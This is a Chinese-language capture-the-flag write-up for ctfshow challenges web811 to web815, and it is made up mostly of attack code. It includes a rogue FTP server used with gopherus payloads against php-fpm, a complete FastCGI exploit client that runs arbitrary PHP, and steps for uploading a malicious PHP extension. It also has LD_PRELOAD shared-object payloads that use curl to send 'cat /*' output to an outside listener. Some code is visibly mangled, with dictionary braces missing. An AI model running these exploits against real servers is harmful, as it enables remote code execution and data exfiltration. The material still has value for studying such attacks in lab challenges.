CTFSHOW 常用姿势篇（811-820）

Posted 2022-04-18 yu22x

CTFSHOW 常用姿势篇

群主在视频里面已经讲解的很清楚了，下面内容有些简略，就当补充下payload了。

文章目录

• CTFSHOW 常用姿势篇
• • web811
  • web812
  • web813
  • web814
  • web815

web811

1、搭建恶意ftp服务器

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0',4566)) #端口可改
s.listen(1)
conn, addr = s.accept()
conn.send(b'220 welcome\\n')
#Service ready for new user.
#Client send anonymous username
#USER anonymous
conn.send(b'331 Please specify the password.\\n')
#User name okay, need password.
#Client send anonymous password.
#PASS anonymous
conn.send(b'230 Login successful.\\n')
#User logged in, proceed. Logged out if appropriate.
#TYPE I
conn.send(b'200 Switching to Binary mode.\\n')
#Size /
conn.send(b'550 Could not get the file size.\\n')
#EPSV (1)
conn.send(b'150 ok\\n')
#PASV
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9000)\\n') #STOR / (2)
conn.send(b'150 Permission denied.\\n')
#QUIT
conn.send(b'221 Goodbye.\\n')
conn.close()

在vps上运行python shell.py

2、利用gopherus生成payload

只取下划线后面的部分
3、vps开启监听 nc -lvp 4567
4、发送payload

ile=ftp://x.x.x.x:4566&content=gopherus生成的payload(只取下划线后面的内容，且不需要再次编码)

5、得到flag

web812

exp

import socket
import random
import argparse
import sys
from io import BytesIO

# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client

PY2 = True if sys.version_info.major == 2 else False


def bchr(i):
    if PY2:
        return force_bytes(chr(i))
    else:
        return bytes([i])

def bord(c):
    if isinstance(c, int):
        return c
    else:
        return ord(c)

def force_bytes(s):
    if isinstance(s, bytes):
        return s
    else:
        return s.encode('utf-8', 'strict')

def force_text(s):
    if issubclass(type(s), str):
        return s
    if isinstance(s, bytes):
        s = str(s, 'utf-8', 'strict')
    else:
        s = str(s)
    return s


class FastCGIClient:
    """A Fast-CGI Client for Python"""

    # private
    __FCGI_VERSION = 1

    __FCGI_ROLE_RESPONDER = 1
    __FCGI_ROLE_AUTHORIZER = 2
    __FCGI_ROLE_FILTER = 3

    __FCGI_TYPE_BEGIN = 1
    __FCGI_TYPE_ABORT = 2
    __FCGI_TYPE_END = 3
    __FCGI_TYPE_PARAMS = 4
    __FCGI_TYPE_STDIN = 5
    __FCGI_TYPE_STDOUT = 6
    __FCGI_TYPE_STDERR = 7
    __FCGI_TYPE_DATA = 8
    __FCGI_TYPE_GETVALUES = 9
    __FCGI_TYPE_GETVALUES_RESULT = 10
    __FCGI_TYPE_UNKOWNTYPE = 11

    __FCGI_HEADER_SIZE = 8

    # request state
    FCGI_STATE_SEND = 1
    FCGI_STATE_ERROR = 2
    FCGI_STATE_SUCCESS = 3

    def __init__(self, host, port, timeout, keepalive):
        self.host = host
        self.port = port
        self.timeout = timeout
        if keepalive:
            self.keepalive = 1
        else:
            self.keepalive = 0
        self.sock = None
        self.requests = dict()

    def __connect(self):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.settimeout(self.timeout)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        # if self.keepalive:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
        # else:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
        try:
            self.sock.connect((self.host, int(self.port)))
        except socket.error as msg:
            self.sock.close()
            self.sock = None
            print(repr(msg))
            return False
        return True

    def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
        length = len(content)
        buf = bchr(FastCGIClient.__FCGI_VERSION) \\
               + bchr(fcgi_type) \\
               + bchr((requestid >> 8) & 0xFF) \\
               + bchr(requestid & 0xFF) \\
               + bchr((length >> 8) & 0xFF) \\
               + bchr(length & 0xFF) \\
               + bchr(0) \\
               + bchr(0) \\
               + content
        return buf

    def __encodeNameValueParams(self, name, value):
        nLen = len(name)
        vLen = len(value)
        record = b''
        if nLen < 128:
            record += bchr(nLen)
        else:
            record += bchr((nLen >> 24) | 0x80) \\
                      + bchr((nLen >> 16) & 0xFF) \\
                      + bchr((nLen >> 8) & 0xFF) \\
                      + bchr(nLen & 0xFF)
        if vLen < 128:
            record += bchr(vLen)
        else:
            record += bchr((vLen >> 24) | 0x80) \\
                      + bchr((vLen >> 16) & 0xFF) \\
                      + bchr((vLen >> 8) & 0xFF) \\
                      + bchr(vLen & 0xFF)
        return record + name + value

    def __decodeFastCGIHeader(self, stream):
        header = dict()
        header['version'] = bord(stream[0])
        header['type'] = bord(stream[1])
        header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
        header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
        header['paddingLength'] = bord(stream[6])
        header['reserved'] = bord(stream[7])
        return header

    def __decodeFastCGIRecord(self, buffer):
        header = buffer.read(int(self.__FCGI_HEADER_SIZE))

        if not header:
            return False
        else:
            record = self.__decodeFastCGIHeader(header)
            record['content'] = b''
            
            if 'contentLength' in record.keys():
                contentLength = int(record['contentLength'])
                record['content'] += buffer.read(contentLength)
            if 'paddingLength' in record.keys():
                skiped = buffer.read(int(record['paddingLength']))
            return record

    def request(self, nameValuePairs=, post=''):
        if not self.__connect():
            print('connect failure! please check your fasctcgi-server !!')
            return

        requestId = random.randint(1, (1 << 16) - 1)
        self.requests[requestId] = dict()
        request = b""
        beginFCGIRecordContent = bchr(0) \\
                                 + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \\
                                 + bchr(self.keepalive) \\
                                 + bchr(0) * 5
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
                                              beginFCGIRecordContent, requestId)
        paramsRecord = b''
        if nameValuePairs:
            for (name, value) in nameValuePairs.items():
                name = force_bytes(name)
                value = force_bytes(value)
                paramsRecord += self.__encodeNameValueParams(name, value)

        if paramsRecord:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)

        if post:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)

        self.sock.send(request)
        self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
        self.requests[requestId]['response'] = b''
        return self.__waitForResponse(requestId)

    def __waitForResponse(self, requestId):
        data = b''
        while True:
            buf = self.sock.recv(512)
            if not len(buf):
                break
            data += buf

        data = BytesIO(data)
        while True:
            response = self.__decodeFastCGIRecord(data)
            if not response:
                break
            if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \\
                    or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                    self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
                if requestId == int(response['requestId']):
                    self.requests[requestId]['response'] += response['content']
            if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
                self.requests[requestId]
        return self.requests[requestId]['response']

    def __repr__(self):
        return "fastcgi connect host: port:".format(self.host, self.port)


if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='php-fpm code execution vulnerability client.')
    parser.add_argument('host', help='Target host, such as 127.0.0.1')
    parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
    parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php system("cat /flagfile"); exit; ?>')
    parser.add_argument('-p', '--port', help='FastCGI port', default=28074, type=int)

    args = parser.parse_args()

    client = FastCGIClient(args.host, args.port, 3, 0)
    params = dict()
    documentRoot = "/"
    uri = args.file
    content = args.code
    params = 
        'GATEWAY_INTERFACE': 'FastCGI/1.0',
        'REQUEST_METHOD': 'POST',
        'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
        'SCRIPT_NAME': uri,
        'QUERY_STRING': '',
        'REQUEST_URI': uri,
        'DOCUMENT_ROOT': documentRoot,
        'SERVER_SOFTWARE': 'php/fcgiclient',
        'REMOTE_ADDR': '127.0.0.1',
        'REMOTE_PORT': '9985',
        'SERVER_ADDR': '127.0.0.1',
        'SERVER_PORT': '80',
        'SERVER_NAME': "localhost",
        'SERVER_PROTOCOL': 'HTTP/1.1',
        'CONTENT_TYPE': 'application/text',
        'CONTENT_LENGTH': "%d" % len(content),
        'PHP_VALUE': 'auto_prepend_file = php://input',
        'PHP_ADMIN_VALUE': 'allow_url_include = On'
    
    response = client.request(params, content)
    print(force_text(response))

用法：
python exp.py -c ‘<?php system("cat /f*");?>’ -p 28074 pwn.challenge.ctf.show /usr/local/lib/php/System.php

端口改成自己的就可以了。

web813

大致过程就是自己生成一个mysqli.so（mysqli的扩展），然后扩展里面有ctfshow这个函数。
题目调用ctfshow函数的时候就会去扩展里面找（php里面没有这个函数）。
可以采用php源码中的ext_skel.php来生成。
一般在ext目录下。
具体步骤如下：

1、php ext_skel.php --ext ctfshow --std
运行成功后会在当前目录下生成扩展名目录
2、进入到目录下，找到.c文件并编辑。
修改内容有如下两处


3、依次执行如下命令
phpize
./configure
make && make install
生成后告知具体在哪个位置

扩展的路径在phpinfo信息中可以看到

import requests
url="http://690602f6-e0b4-4a2b-b0e0-b36c4e383275.challenge.ctf.show/"
data='file':'/usr/local/lib/php/extensions/no-debug-non-zts-20180731/mysqli.so','content':open('ctfshow.so','rb').read()
requests.post(url+'?a=write',data=data)
requests.get(url+'?a=run')

还有个预期解的方法，其实就是打9000端口，可以参考下web811

web814

a.c

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload()
        system("curl http://url:port?s=`cat /*`");

int getuid()

        if(getenv("LD_PRELOAD")==NULL) return 0;
        unsetenv("LD_PRELOAD");
        payload();

gcc -c -fPIC a.c -o hack&&gcc --share hack -o hack.so
生成恶意so文件

import requests
url="http://690602f6-e0b4-4a2b-b0e0-b36c4e383275.challenge.ctf.show/"
data='file':'/tmp/hack.so','content':open('hack.so','rb').read()
requests.post(url+'?a=write',data=data)
requests.get(url+'?a=run&env=LD_PRELOAD=/tmp/hack.so')

web815

上一题的方法这题也适用,但是这个题考的是下面这种方式：

#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
extern char** environ;

__attribute__ ((__constructor__)) void hack(void)

unsetenv("LD_PRELOAD");
system("curl http://xxx:4567?s=`cat /*`");